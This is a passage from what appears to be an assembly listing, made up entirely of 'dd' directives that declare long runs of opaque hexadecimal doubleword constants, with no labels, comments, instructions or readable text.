53905B08h, 0CD5C02D1h, 35807509h, 0A71AE30Fh dd 530C0513h, 90DA3DCh, 8F79C083h, 0EE06D9Eh, 2DD00159h dd 19D71262h, 0D9EF06C0h, 0D82E5881h, 0EB3280F4h, 0FF060672h dd 7EB6170h, 0FF0966B5h, 0CAF7676h, 6956F758h, 0DBA06376h dd 40A95FA6h, 0E4F28281h, 6A649C1Bh, 58070432h, 0F7BFC1BFh dd 7E04A8DAh, 0B81E6354h, 0BC44030Fh, 9087A476h, 11003799h dd 0C4AD39D8h, 728ACCh, 0B13C02BFh, 0FE892466h, 22AC13E6h dd 2F5DC370h, 0DD918569h, 12EDF2EAh, 4040CB76h, 1EB604A0h dd 7DAD029h, 5E8ACC4Bh, 0C494D99Dh, 0AEA7AA8Fh, 0BD8CE90Ch dd 729D056Ah, 3F77915Eh, 2AA4A929h, 614FA08Ch, 6D0E2474h dd 0C7283C58h, 5083C308h, 0DBAFE954h, 757A8176h, 31E2B173h dd 99E866CBh, 30E40BBFh, 30C99179h, 2D525019h, 0E0665355h dd 545BDD25h, 0AD093F8h, 0A8BAC6F3h, 0D4A17FDh, 10E4A902h dd 593F2438h, 8A2EAE4Fh, 21F18113h, 0ACA4E920h, 711985FDh dd 63DAAE06h, 1D93F159h, 0E46A7F35h, 76021E22h, 895518D9h dd 54E25FD5h, 76C27074h, 52ED565Fh, 195DE842h, 272C8953h dd 5DFB2Fh, 0D06AA3E1h, 3CBD0F0Ah, 0AB53A2DBh, 96E94520h dd 8649DB27h, 454A33B8h, 7D14E4C1h, 0D68E521Ah, 0D2901C9h dd 4746CD68h, 0C5DE230h, 344D8369h, 0AECC0152h, 0F4D23EA0h dd 82516814h, 77F82F2Bh, 2C5C6813h, 0CC1052A3h, 2AE90B57h dd 0DE82FAECh, 0A40B8FFFh, 715ED65Eh, 36645FDh, 99AE035Ah dd 4111444Bh, 2386B00Bh, 0E96700A8h, 55B78FECh, 0B5E0B674h dd 83A4B47Ah, 5C76DE0Ch, 9A16F0F3h, 0A1B37F2Dh, 3754C000h dd 5BB7E92Bh, 644F92B9h, 0F2F4A473h, 68E10FCDh, 169D2725h dd 0B38EFBC8h, 1CCA9818h, 60B022Dh, 0DF5D5B3Ah, 0D255296Ah dd 99A425BFh, 5BD69475h, 0BE4B070Dh, 28631341h, 42F9CA06h dd 100C7491h, 30A3D67h, 863B43CEh, 26187D50h, 0FD9AB75h dd 0FE8031EEh, 0DB1DE965h, 420E5C95h, 0B35D4B33h, 658D199h dd 5D328363h, 47D42195h, 5FE9C158h, 0F108B80Ah, 416A0D8Ch dd 7F1C505Ah, 0EEB2EC43h, 4609CAA4h, 74429806h, 0DBAC3395h dd 2BC844D1h, 0CA38FEA1h, 4B4BAC97h, 12A539B8h, 0F643AF3Ah dd 5EE3FBE9h, 0EF46AAE0h, 381098F7h, 0ECCF1368h, 7080B449h dd 17697286h, 2CF0168h, 0EC7E6391h, 5031CD83h, 0C4872741h dd 7F48A421h, 0CE693920h, 1B1F7E8Ch, 40434563h, 0EEB855Eh dd 869C14Ah, 4C8A3C80h, 62B573F1h, 0CF480h, 59BD5E0Bh dd 93192F05h, 1D763117h, 9402377Ah, 6F0AB116h, 96E6BB01h dd 1221E82Bh, 0B88B77DAh, 1CF4657Fh, 0C00CF0D1h, 867807E1h dd 8DAF634h, 363F92FAh, 9D31D455h, 0EACEBF48h, 3DC57644h dd 990C74ABh, 0C7672454h, 0DC60273Eh, 400748E5h, 25A8808h dd 0B17EE7E1h, 75987E33h, 5A1840AAh, 0D55C19CBh, 0E92A7864h dd 83BCDC1Bh, 0DE72CAE9h, 0D1620404h, 40050009h, 2F2F1557h dd 5AC1E8C1h, 309FC54Ah, 7613ED0Dh, 20405379h, 3F8F2562h dd 0A70935E9h, 0BF99EA66h, 9582CFF0h, 4071404Ah, 28DDEB00h dd 96290EBBh, 990820FCh, 0E9556150h, 0A8F53E1Eh, 8101776Ch dd 4138E7CBh, 0D64DFC34h, 0F690EA95h, 0B3BC13A2h, 0E0FF50D1h dd 0BC935C97h, 0A30BBB17h, 4F514FDh, 64428618h, 4D60B7C5h dd 0A186FC7h, 0FD0C67D0h, 76732879h, 17C97D8Dh, 0E40174BBh dd 671BD7E7h, 0C7126CCDh, 0C83708BAh, 0E2CC0A94h, 0D7BF7357h dd 893CFBE7h, 0C1A344D9h, 4362E37Ch, 612A5C36h, 0C13B2147h dd 3B069C8Dh, 8184AEB2h, 2ABA1755h, 0B50860EEh, 64ED806Bh dd 0FEF00654h, 0BBF0B13h, 4894D531h, 42AF6391h, 0B107806Bh dd 9D013418h, 0E74B6848h, 89FECB2Dh, 29EE5FD3h, 0D907A90h dd 789AAB20h, 725F53h, 0DCF65A00h, 9570EC80h, 4258E62Ch dd 0EE33E713h, 26302D59h, 0B6521C03h, 20F588F9h, 215A5595h dd 0F8E1C7D1h, 5B795C34h, 0FB8ACD28h, 6DF5A182h, 6930C13h dd 0B70FEDF9h, 6428A314h, 61FB9544h, 28777D0Fh, 39C8CCCBh dd 5FD6EC57h, 0AA9E2CCDh, 9D8C205Fh, 537F4043h, 95D3F298h dd 91EEE912h, 87731757h, 0EE6EF58Fh, 28B254D7h, 0FCE578Dh dd 0F227D495h, 68120458h, 7FCC53A1h, 0FCFC5F9Eh, 90EED78Fh dd 7C29BE1Fh, 36B04075h, 7F57550Eh, 0EBF6C06Eh, 90C3C9F9h dd 5DD40286h, 0EE09278Dh, 49FDCE01h, 182B13D9h, 0BA63C9Eh dd 0C40BA34h, 7CF6088Ch, 20B82D9Fh, 2DCA9F20h, 75957011h dd 0C04AA32h, 0AB61AB5Eh, 146DD7E9h, 3E35C202h, 2BF865A1h dd 3808EA51h, 0B4A2D6AAh, 16C8AFD7h, 0A23B4FBDh, 95781339h dd 15418BABh, 11EA602Dh, 0B44043E1h, 0AAA94AB7h, 75B03EC2h dd 0CFFEC140h, 6E1FE913h, 0B0F83F35h, 31614830h, 0DEB75DEBh dd 4DE1051Ch, 0F86EC11Eh, 0FFB2205Fh, 9FC5C25Eh, 0C7F8C3FBh dd 6A1DC3B9h, 37CE95B3h, 0C5047B50h, 92650147h, 55DCDC0h dd 0C9C70238h, 0AA69E9C6h, 708D02D1h, 2A80A33Fh, 9721EFBAh dd 0AFA04253h, 872D3CF7h, 2E29DDF6h, 485C2709h, 95187527h dd 7FC7D697h, 4BD2A9E5h, 7C64D51Dh, 0DEF7FB38h, 805A69F9h dd 56C9E937h, 0E81C4BD2h, 6FD31CCh, 0E906A9EFh, 14A1CD03h dd 0D1B27EE1h, 303A2748h, 13581267h, 4E16B2Dh, 0DED49A0Dh dd 2038F518h, 18CC948Bh, 130D32BEh, 0F2F22106h, 0E2819DEAh dd 18066FDCh, 0BF65A07Eh, 136E5B02h, 5DD7DDE9h, 80108C91h dd 42DCBEF7h, 954E1FECh, 6E63082h, 7858B442h, 0E00CBF07h dd 0F1A2621Ah, 425B7939h, 69FE9514h, 10BFC8C9h, 0FC7CBDE5h dd 0E8AB5E64h, 91E984CAh, 13EDEB9h, 9F07F25Eh, 2834BF07h dd 72EFC54Fh, 0B352D781h, 2DBE72Fh, 0EA8094B2h, 0E4E97EB4h dd 9586040Ch, 2C681E8Ch, 0C7AE576Fh, 13CF9C34h, 109F094h dd 2BAA80DDh, 953D7D5Fh, 80151275h, 5945D672h, 0FE509F0Dh dd 780EE10Eh, 0F801327Ch, 5F496DE9h, 5A9A8F20h, 1734B828h dd 9E4992Bh, 0EF860947h, 0BEF489F2h, 0AB0C9883h, 0FB4C0321h dd 0C139496Ah, 120B06B3h, 57EA18B6h, 1CCDE280h, 62BD7E94h dd 0D8706A3Ah, 123E9D55h, 6AAE94Fh, 74EF299Ah, 44AD094Eh dd 643D05D6h, 715897B4h, 93C8295Ah, 0FEA43916h, 20936044h dd 0FB71B62Dh, 6573267Fh, 45DDC2E1h, 0F780872Dh, 0ECF8045Fh dd 63E08D33h, 0C04866Fh, 0A84AB42Ch, 0CCFE0Bh, 0E530FDAAh dd 98517958h, 860162B8h, 8A09D3E3h, 0B40AC5E1h, 7169EDE2h dd 92E650B6h, 4484B2B4h, 0F4C0320Fh, 2A6106C9h, 2FBA6F19h dd 9D277AE9h, 9A52A0EAh dd 4AF85671h, 4A7BA559h, 4E061DBDh, 8C55327Ch, 2D5BA440h dd 1841EA88h, 0F20684FFh, 0C282CAFEh, 0A4CF90E4h, 27FD1F58h dd 0E8291241h, 17E84AD6h, 0AE21BFB5h, 188B4912h, 9D84C35Ch dd 0A4B6AA92h, 4F518F4Fh, 0A16C054Bh, 43FA6893h, 8D4C8123h dd 0E320E704h, 7EC532h, 2170CD3Bh, 0F29019E1h, 9DFDFC4Ch dd 13C908CEh, 1247CBABh, 5BAC9236h, 1A5F81F7h, 0CECD403Bh dd 181AF61Bh, 0C029F2E9h, 1268962Ah, 0AB015AE7h, 0D0E15DCDh dd 68CA0F32h, 295F0918h, 0FDE94E48h, 8BB2CE4Bh, 38A93558h dd 0B84D0B3Eh, 517D5013h, 0BC3A08EAh, 0CC08696Bh, 49282DDAh dd 0BA276746h, 0D4125D91h, 0F1F5C87Dh, 98A3026Ch, 628FE99Fh dd 2AB4A2FFh, 627DF637h, 7B517C5Ah, 0E807592Dh, 2CAD40A5h dd 0E68019F1h, 0F320439h, 0F8446068h, 0AE8BC44Eh, 0FDB0B00h dd 9B73C85h, 225B5583h, 788B22E9h, 0C11A2243h, 2F4F5652h dd 792A47E1h, 88DD6EBBh, 4AB3CB6Bh, 0DE69262Ch, 54F2C3A5h dd 1912A72h, 5193F4D5h, 0A106C4BFh, 2B81864Ah, 739A4E1h dd 3BE307Dh, 0C359AEFCh, 48A8006Fh, 0EE811B2Fh, 4A2C2CC0h dd 0ADCEBEE0h, 0F2FBE4EBh, 0D23D52E4h, 826D9BFh, 0E9FE5724h dd 44D71B27h, 0EC9620D0h, 82F3892Ch, 3E4AFA39h, 815D6A80h dd 727916E6h, 6FB304ACh, 0C4E2A8D4h, 0F340A58Ch, 70B869C4h dd 844BDBF6h, 0D8EE7875h, 584B86C2h, 0C3A769ACh, 0CB2C898Eh dd 9D0351E0h, 3B55EB5Ch, 7C18DFC4h, 46880C62h, 58C8985Ch dd 49A85FECh, 3A06E9E1h, 8276B8ADh, 66C69B60h, 0B312D026h dd 5EB0BD02h, 0BD7DC98h, 62F760E9h, 16860943h, 9734B014h dd 38BBB2C0h, 7AE24158h, 4FE17759h, 0E36E13A1h, 559576CCh dd 50525C94h, 861650D2h, 30A641h, 0BA5CD68Fh, 316851DCh dd 0ED270E02h, 3C472F1h, 2A051CF2h, 6AD5E260h, 0FA365C2Dh dd 0A06571D5h, 418841BAh, 32DFC03Eh, 0F4ED9EDCh, 0C8E045BEh dd 0CD4055A0h, 53D00431h, 0F828EE68h, 784DC035h, 0E45E5039h dd 27173DB8h, 0E64226h, 46707959h, 0E61DF581h, 0E98BCE0Ch dd 0B55650E1h, 5904D0D3h, 8EBF3C87h, 341100ACh, 0D1E90248h dd 9AF0B269h, 0E02BE991h, 8B4C62D2h, 61A881DFh, 803B6383h dd 1EF24F4Ah, 6A01E3ECh, 0E9439673h, 24346B7Ch, 0A6ED3080h dd 0EE880306h, 0D8406FB0h, 0B53616B0h, 502BCBEh, 4C865166h dd 0D1F600C1h, 7EE90640h, 4CED2B9h, 0AEEBA4Ah, 0D6EEEC5Fh dd 2256A061h, 0CC3B8205h, 6A1C3BC6h, 8182ED3Eh, 763107EBh dd 80260B66h, 0C89FE5C4h, 0DD9CF13Eh, 8C1F8B6Bh, 0D381BC5Ch dd 5D183167h, 4A88221h, 372309AEh, 68D86086h, 25D2F4B7h dd 0ECBF39E5h, 0EEC87164h, 2FF0926Bh, 4FDE6FB7h, 0F6A4E703h dd 0C1EFA9DFh, 0E06DC4E0h, 0EB96B8FCh, 1EF4A940h, 28AB02B2h dd 9146E9E2h, 0A7C5D95Dh, 8A0062FEh, 817BB769h, 6ADC0BE9h dd 54003D64h, 212223B2h, 0EF825DB2h, 698D6AC0h, 4A8B149Eh dd 0E47A3058h, 0C0BB80ECh, 764F4617h, 48316CB8h, 68D329D7h dd 0D102090Ah, 0B40600EBh, 905B710h, 0B6D7E951h, 1524CF5h dd 544ABE56h, 84525D01h, 5827B1B0h, 96B386FFh, 3B008D8h dd 0DCA6148Ch, 3104D089h, 0E86DE9D6h, 0D488033Fh, 0D296B35Ah dd 9E5850h, 0BA244DB8h, 6E0C161h, 818D54B7h, 3E5D67B9h dd 4A26603Fh, 0D0ED3A3Ch, 3B28E5E0h, 0D8648486h, 7AA205ADh dd 0B640DB16h, 0BCB5165Eh, 1752B135h, 0A88421B9h, 85891F2Ah dd 9503F42Fh, 7F1A9DC3h, 0B15C30BEh, 4556500Fh, 33319818h dd 2681B22Ah, 127D42BDh, 0F0882158h, 0A99F6B5Bh, 55B3C269h dd 81A850C7h, 0AD17AD4Fh, 2F657DEAh, 6C9FBB41h, 907042ABh dd 6D60026Ah, 0E2ECE93Dh, 0BF2BE4D5h, 0E9C1BED1h, 6182935Fh dd 0EB9FFBC6h, 2F3FE9C0h, 0B4F2494h, 99C5E368h, 54C9D22Ch dd 81FC7A45h, 0C6AD2AA9h, 7938F2D4h, 0E4CEFC5Bh, 0DD019212h dd 3D7013A3h, 20155B4Ah, 0D39E205Eh, 843C50F4h, 3F331803h dd 0C4B4010Dh, 0DA084225h, 0B3895D5Bh, 4C2FEE2h, 48FE3F5h dd 472E6D28h, 0B8968269h, 6F7155h, 1F2822F2h, 5909E581h dd 262CE5Dh, 6413AE40h, 0A48585D9h, 45AA02FAh, 0CA638A3Bh dd 27A7558h, 0F47DDE54h, 0D8247521h, 4B0E13D8h, 0ED29D865h dd 0AC741E5Dh, 0C097D232h, 3E685CCEh, 0C10889B1h, 4F3831D6h dd 0D5CA06DCh, 8933F681h, 0AE9DF7F6h, 5C1347A0h, 73168762h dd 0BA3FCC08h, 7DDCC2B7h, 0D3645751h, 4A5527B4h, 5B4AE738h dd 2B6829FEh, 17C521A7h, 6F41B39Ah, 11DF664Eh, 3F050916h dd 68025022h, 0A57A9607h, 5341AD0Ah, 0F402F509h, 0F84D0672h dd 7A5C2FF8h, 0FB786A09h, 13B9D04Ch, 0EB5035C1h, 0DA015128h dd 0F52723D4h, 8B7F261Bh, 1113B4Dh, 0BA6CA81h, 70836F94h dd 45EE12B3h, 79CFC806h, 3A0C01F1h, 0CCC3E53h, 0E61B2A16h dd 0D5731382h, 4AC31F55h, 5C183CEFh, 0A4E2FA9Ch, 0A32E7F09h dd 7C5C27E9h, 0D2421D21h, 40CFA20Ch, 1E735D8Bh, 89A7F2Fh dd 62DBDC55h, 13548BCAh, 144C3D0Ch, 54F0068h, 0C15F182Dh dd 419807E7h, 3E54CD0Ch, 13D40C25h, 0C0D3031Bh, 693CE995h dd 0D17133BFh, 4F837CD4h, 0F88205Eh, 0FEE5C5D3h, 0F92E0A39h dd 0FDE9D6FFh, 0FA63F213h, 9CFE1734h, 0B84AA2A8h, 689A9CEAh dd 23555731h, 5902DDDAh, 7625D0DDh, 45F697CBh, 7CC5EB6Eh dd 149A832Bh, 0C9D14348h, 3A1D219Ch, 0EE279FE0h, 0E9910942h dd 0EE48D54Eh, 7306318Dh, 89F2814Ah, 0ABE2970Dh, 2645ECF7h dd 0AFA423AEh, 0C7A6358h, 772CD637h, 2B4EB760h, 0D0F9FE50h dd 0D36B086Eh, 4942B15Eh, 60E75C25h, 55C44650h, 0FB00587Ch dd 54ADC29h, 10AE67C7h, 6E2D4803h, 14EBA002h, 28311BB8h dd 9C358C6h, 50E17C34h, 22D74B80h, 18C06F19h, 39B4772Ah dd 0E9F21629h, 0BAEBC0E8h, 303D9F99h, 0A1B124DDh, 6CBDD9AFh dd 0AA2FE9FBh, 450F189Bh, 0F84A8178h, 0A5976C74h, 91BAEA85h dd 70FA2917h, 5CDD9A81h, 0B2DF0C0h, 9D664119h, 0E98FFEE5h dd 71FE3261h, 8255FD29h, 0CE1E9F50h, 496A7173h, 8F7A2057h dd 2DBB0E71h, 0E4D3FD89h, 7840ED01h, 0B3701627h, 88899F54h dd 0B0BFBEF5h, 17C92E95h, 0E6810E5Dh, 2E0F1FA0h, 0D69A31E9h dd 504DBA04h, 1DC00CB4h, 5F69CDBFh, 1A8AC24Bh, 0D95FDEEAh dd 80DC9302h, 580EB8F4h, 95A8A16h, 70F37480h, 42A1041Ch dd 0F3D247E9h, 0DABBD701h, 0E94A617Ah, 0BD29DE7Ch, 0BA075705h dd 0BD0F872h, 51159168h, 0C9E889Ch, 5E25002Ch, 315359ADh dd 0B00B6FB0h, 5A58FC5Bh, 5688287Ch, 12C92425h, 3A52E1F5h dd 4610D89Ah, 16FA4B1Bh, 6598098Ah, 0B878C5F8h, 5BA04712h dd 6F4CE5AAh, 55C1F5ACh, 2F275F68h, 0A0541833h, 4BD6718h dd 0AA1D7A92h, 0E9048829h, 797EB827h, 0FE84C9CEh, 0EE3CD4DEh dd 413BB5C8h, 0D002409Dh, 765C0A02h, 5003002Fh, 5E3170B8h dd 73BE922Ch, 68FF1383h, 0FF93533Ch, 1D1D0665h, 505726DCh dd 0E99078BAh, 57914A25h, 0B56F3A9h, 573C1571h, 58054002h dd 6468502Ah, 18BF8F71h, 8070413Bh, 16059A35h, 0C2017DADh dd 47A5B316h, 2E37013Ah, 39083102h, 8EBF92EFh, 209C4B81h dd 6B53970Ch, 0AC50E924h, 4C83828Eh, 0DF4AFB2Bh, 9ED8ABAh dd 8008EEC1h, 0A202F258h, 0FC60905Eh, 48641251h, 7947FF21h dd 0CA30F7B1h, 27E9FE87h, 9655CF75h, 525A5257h, 9395E909h dd 9C484EC8h, 844312B7h dd 9AEA548Bh, 0C83308Ah, 0B7F4F8E9h, 35680DA2h, 0F768837Eh dd 0C179E98Bh, 53D84BEDh, 0EF00968Dh, 0B98EE064h, 4B61841Dh dd 0E0F0B857h, 9D8CC9E9h, 0F6ADF67Eh, 0C7AB4FF4h, 31C0B4E2h dd 5F81672Eh, 7D9BE47Ah, 2D7F7316h, 87E95191h, 0EAEC127Eh dd 42678129h, 3883E909h, 56D94CC9h, 0A181EDDDh, 46163BC7h dd 914BE8A6h, 6FEFBB3Ah, 0F8FDAD57h, 0ED08F04Ah, 1051F40h dd 658D498Eh, 3E422968h, 75CDF78Ch, 0F8E0BF18h, 0DB3B01CAh dd 2CE2035Ch, 1C23AC5Fh, 560392BCh, 246FAFDh, 1D9088Ah dd 691F9FEEh, 44C62921h, 0C081AA4h, 51B1E875h, 0CDD19DB9h dd 0C050E3Eh, 0CE296607h, 59088144h, 568C1E82h, 0AE56607Bh dd 0C3BAA59h, 80984A92h, 9713A09h, 58957E52h, 534E1F68h dd 41D9328Ch, 0A6736040h, 480E6652h, 24A74E13h, 0B5C4076Fh dd 0D7A9FD44h, 0F96F27A1h, 7FEE8515h, 0CB28E421h, 0CA501233h dd 0E7D9211h, 4FDC6866h, 8CC57F9Bh, 63FF02C2h, 0E3844EA8h dd 9BBDFF0h, 79882CADh, 0BA11A284h, 5C270C2Eh, 51007D44h dd 0C1050F28h, 30E908E7h, 0ED37986Eh, 0B63B679Dh, 0AEF50060h dd 0E937DF18h, 5BA25BA5h, 0F6F804FCh, 62285220h, 373B870Bh dd 490F2C01h, 0FBF26A13h, 0AD3D2D97h, 0B7DB4614h, 3D2C5359h dd 0D145700Bh, 2F6C828Fh, 0B1406555h, 50441FFh, 75C0E90Bh dd 0C6F088AAh, 88E799Dh, 572522DFh, 0BB492FECh, 0B9BE027Ch dd 4037A710h, 7F1C2998h, 2771E3B1h, 0CE05E432h, 8749D571h dd 0BF4DE57Dh, 2F39330h, 0EA414BD7h, 0F6F0838h, 49510601h dd 0F4E6E9A0h, 0A0EA729Ah, 1237C64Eh, 0F9F0AE3h, 2CED8036h dd 0EB967F05h, 8D4C6B5Ch, 4067EAC9h, 0B60A357Eh, 934EF26Ah dd 0B1545B00h, 0B709E944h, 4822FF4h, 764E3608h, 0FAA53E8Dh dd 488561E0h, 546D0D2Ch, 73488710h, 68048420h, 0D7C3F28h dd 0BEEBF9C1h, 3C086FECh, 0E9895953h, 14573597h, 0E7FEB7E0h dd 0DE5EF189h, 2DF26EEh, 1C986B17h, 75D1642h, 0A9CEFCD3h dd 0D3C570C0h, 4698E018h, 0B53B1EC0h, 2EE9E193h, 8B7CC7EFh dd 8F50D9F7h, 0A32B8E0Bh, 688A407Fh, 0BF33623Ah, 3B5A14C7h dd 6D1FC404h, 0CBAF01D0h, 61212FD6h, 81092CBBh, 740BBEC8h dd 928769B7h, 4094BA52h, 0D6319C63h, 0F46B2699h, 0D5260817h dd 2315E0Bh, 5B02788h, 0BD6CC25Ch, 61FC154Ah, 0DE86F05h dd 160464AAh, 0C094210Bh, 70C25195h, 50713A2Eh, 0CD6A83F8h dd 0A1357A17h, 17C8E8E4h, 9271D668h, 917793F4h, 8846B26h dd 0A31FD468h, 8C991043h, 8EC3800Bh, 99D56EF7h, 1FF10977h dd 0D078DD56h, 53EC1635h, 52861FDEh, 0E16E66D9h, 0C40832B5h dd 0D78D630Dh, 0D5E190BAh, 0FC77E53h, 0D1D08E80h, 0DA292EC4h dd 8B1021h, 852F26BFh, 0B57C014Dh, 8989E671h, 9E98F718h dd 0A02E67EDh, 0C3A0FC43h, 0A14E3709h, 820757Ch, 835EB1CCh dd 0C018E918h, 953C77B3h, 0E0126BDBh, 0B1D26C5h, 2BBE3644h dd 20C292FFh, 644F33D9h, 0BC112CCFh, 0F52C41Dh, 10A5B9B1h dd 8677B8C5h, 76675D57h, 9F01FE5Fh, 0AEBD6300h, 20273274h dd 0E6E46031h, 0D92E03C9h, 0FD3EE942h, 0E588900Eh, 4AD76F53h dd 78A7A314h, 4A042015h, 755D5427h, 4FA0FB14h, 0C1E1D106h dd 0D2B83B01h, 0F8E5D9CFh, 8B080102h, 0E357E069h, 85AD294Bh dd 0F44B514Dh, 0D24EEEBFh, 0FBD38BFh, 0C2D8AEABh, 7E78388Dh dd 9BF9FF6h, 2167FF72h, 774FCC89h, 0ECD9D9BBh, 0EA4A6A9Fh dd 73AFDA7Bh, 29EA4CD1h, 0A0479A40h, 3B5786FAh, 0EF270DEEh dd 1326AA76h, 1724400Eh, 682760FFh, 9BAC4F80h, 3920BEB0h dd 0F17D98A2h, 0C00B99C0h, 0EBA31D0Ch, 0F54B3149h, 1210B7F7h dd 1BB05B2Fh, 0F851B72Ah, 0B09DE68Bh, 62A9680Bh, 42FE3918h dd 0C4E4770Fh, 0F3EB6040h, 0E1768FC9h, 0B8774E7Bh, 63697695h dd 4510389Fh, 5A3B58CFh, 31934F70h, 87B62923h, 8E3C139h dd 2D07DF4Bh, 0A7749915h, 5DCC0D09h, 5325A464h, 8E2271B1h dd 251CCAD0h, 680942EFh, 8B30FD14h, 8723381h, 6414FC9Fh dd 5004EFF0h, 0B2074A78h, 0A0AC753Bh, 0F21268B3h, 0C0EFCE4Dh dd 95093DE1h, 0BAF4405Eh, 0C6BB2E47h, 709B0864h, 0DC46660Ch dd 0F60540E6h, 0E92B2404h, 8BBF585Fh, 4811515Fh, 97C420F5h dd 9EAFFA01h, 0E9E7618Eh, 0B26AB3A2h, 21E9A0ACh, 9551B786h dd 9BFF6025h, 0C131C002h, 70CF1E38h, 94D32CFDh, 8FAB1077h dd 80C3011Bh, 17A24DD3h, 5F6E1A75h, 79243B79h, 33D7531Ch dd 9962DD04h, 40166802h, 0EC63B456h, 0F2AB8515h, 0B85AD944h dd 0E043E56Fh, 0A924E9C1h, 7E6B0A94h, 1EDB2DA4h, 2C45582Dh dd 0C503B48Bh, 0DB4FE5Bh, 0C4EF5BD1h, 17910025h, 29CEEDE5h dd 5B0983B6h, 0CB8D566h, 6FB0B70Fh, 5722F32Ah, 806DE916h dd 1ECF61BBh, 70D03BBDh, 1F334CF2h, 4AF82976h, 0BFFC1746h dd 4DF344DBh, 58E2EF80h, 40B997DFh, 43A2B8C1h, 0F29F6953h dd 16F44BE9h, 0A63CEEB2h, 6B0201B8h, 4CE97F69h, 301A9332h dd 0DBAB9506h, 68E5123Bh, 0DF15FC4h, 7F0A822Bh, 55C04DFCh dd 0DA478568h, 78B9394Dh, 3211782Fh, 0F4FB0012h, 0B0076A3Ch dd 3B1DE816h, 0CE1D01ADh, 184D8B87h, 50B38Bh, 82351C0Bh dd 8774D678h, 0DB228367h, 81E56A88h, 43FC51AFh, 0E87EF74Fh dd 15D4ABE6h, 8AEE4088h, 0BD3659Fh, 656E875Eh, 15ED7497h dd 0EE5FBED2h, 74D9AA33h, 5911C978h, 5DE9BBE8h, 0B97E2741h dd 50680A82h, 5462FE7Dh, 953C4E59h, 0A993BD53h, 0AAD7CAB8h dd 5E090D88h, 538E2331h, 8430CBC8h, 25584758h, 5BF9D4D2h dd 65B3502Ch, 30522940h, 1E2EC4Fh, 7F025C33h, 0FC05EAC1h dd 65E813F2h, 0C40C2B60h, 9838B835h, 0CDEE0B76h, 645FEC0Ah dd 92C90A5h, 699819F0h, 83598277h, 0C1D4665Dh, 0F15099E4h dd 48237C6Ch, 479F5479h, 0FFC8FEA0h, 83A00A4Fh, 0DBFD82C6h dd 0BEA020FBh, 0F25D7247h, 32632180h, 7EBE42h, 296A13BFh dd 0D42053B8h, 0ADF9584h, 422C47C6h, 27EB6E08h, 68E1EC51h dd 3664195h, 0DC4A7209h, 8294DA02h, 0E3ED8103h, 5F5BEA54h dd 8032E6Ah, 40C6F9E9h, 0F1295F1Eh, 0F68B6F1Ah, 7F2B8CB9h dd 5F4BF8FFh, 2A9E32E1h, 0C8525Eh, 6A685217h, 61E5B87Eh dd 0C2A52189h, 69895B7Fh, 6850E768h, 615FBC2Ah, 7E2EE916h dd 0DEF0AF22h, 0CD210F65h, 0B4E44FA4h, 1278ECC4h, 0F5810601h dd 76DB270Eh, 407AD6Fh, 1FE1660h, 0C6E7C8BAh, 36A55414h dd 32EB05EEh, 0F48124C9h, 4A628DE2h, 2BEA8101h, 0F5565254h dd 0B6368D8h, 8A8AC288h, 9A0CBADDh, 0B7CFD709h, 85DDA2E0h dd 20971A97h, 696A54C4h, 0F4681235h, 7176453Bh, 0D205FDF3h dd 0FE85ABB8h, 0D30F60CFh, 0B97868E0h, 49987995h, 9F0E775h dd 4C7E5AE9h, 7F251D2Eh, 33A44D45h, 0DA55BDE2h, 0D98C5926h dd 0E16DBE5Ah, 4F664160h, 6AECC45h, 0FE11466Eh, 0B294D727h dd 0D1E5EA80h, 22EE61C0h, 0F62C1B42h, 0AA984B8Fh, 0DF3A8022h dd 6C17B1Bh, 8A20A0EAh, 7C7A5A7Ah, 0A47ADE27h, 0F1DF7F6h dd 540F0761h, 627DCDE9h, 4167DD22h, 0C641E906h, 0D560BD75h dd 5B970831h, 0FC99BDD6h, 0DCD9C5B2h, 0ADBA96EFh, 0D0F441B7h dd 0D15ECD2Eh, 27CF6D33h, 533077DDh, 75B0C729h, 0B7883929h dd 0E9B4D20Ch, 0FC82E5FDh, 59CB315Fh, 80705ADDh, 1941DBEEh dd 40D82934h, 8677A471h, 6AE4917h, 9B3492E7h, 6E3E81BDh dd 8541AC63h, 2A39C836h dd 2E0C100h, 0EE3F6F05h, 1F020A75h, 0E9AEFE4Fh, 121F7C60h dd 0B0A100BBh, 0CB814B06h, 323B23EEh, 63F3035Bh, 0E06E1C41h dd 244F11E9h, 226693Ch, 4790726Dh, 1AF540CBh, 140C1C08h dd 0FC0AE142h, 0EA75AE34h, 0B734F02Dh, 2DC2B2DEh, 0CAEE0F7Ch dd 9258B0EBh, 68ECBD62h, 772D4232h, 37E9B948h, 0C12EAD61h dd 70C405E8h, 30C73E0Eh, 0A57A34AEh, 55521E7Ch, 5F28DF65h dd 44037BE1h, 84103999h, 0E95FE4AFh, 0E0F19F4Ah, 922AB92Eh dd 658B7F05h, 591874B3h, 0E5D192FEh, 0E26641BDh, 5848092Bh dd 1255FB5Fh, 0BE50EA2Dh, 0D7BA25D4h, 527F8C32h, 309CC3AAh dd 748A7612h, 0D6504562h, 280D3409h, 3C7461C3h, 0B4079B23h dd 0B1EC802Ah, 0CD58E328h, 0D063E2CBh, 6EF60628h, 7DA63925h dd 0DBD2839Bh, 0C7095248h, 681748A4h, 6F8C7E02h, 0F36A168Fh dd 50E1077Ah, 67820B0Ch, 94559A8Ah, 0BB530213h, 2A163319h dd 45EF2D40h, 7F60F425h, 29F8163h, 4075FA17h, 76208866h dd 501408Fh, 13E213Bh, 0E9C629F8h, 0CC6A2E54h, 0E39FC894h dd 9CF8EDCAh, 0CE1EE83Bh, 8CEE4FF2h, 0F6C2E6CFh, 74C12841h dd 5FC79D49h, 1A8C3889h, 0DEDC5744h, 58B8F76Ah, 0F6C29C2Eh dd 405FA655h, 48E0715h, 0F3E9D42Dh, 0EFA3FEEEh, 0C685F393h dd 0B5349F48h, 0F268BDA1h, 8BE22E42h, 5A1D90D3h, 6C502C61h dd 1E048908h, 4C015EAFh, 5C16E907h, 0A3063532h, 0D1613D46h dd 7D73028Ch, 484075ACh, 0DB98177h, 967B2FE7h, 0F6F404D5h dd 0D82CB403h, 4FF0313Ch, 923CAC58h, 93FFA7ABh, 53867008h dd 2C9E62D9h, 0FA936Eh, 0B9108981h, 0E603BB6Bh, 0E91CC66Eh dd 0C7D4E4E1h, 1BE39384h, 38516F50h, 8D4C7CB1h, 0E5EB800Bh dd 0FA40AB42h, 1F992135h, 187A0E88h, 310DF8C1h, 0B407295Bh dd 0FD0B67B2h, 28578AB1h, 4071C947h, 95FD286Fh, 801C5796h dd 0E5CE91EDh, 64CDC1A2h, 1685DDF6h, 0C2EF3060h, 0B56E5h dd 9D3BC626h, 9D39876h, 0C5E7F170h, 51002CDEh, 7A2680B9h dd 7679812h, 71873EE2h, 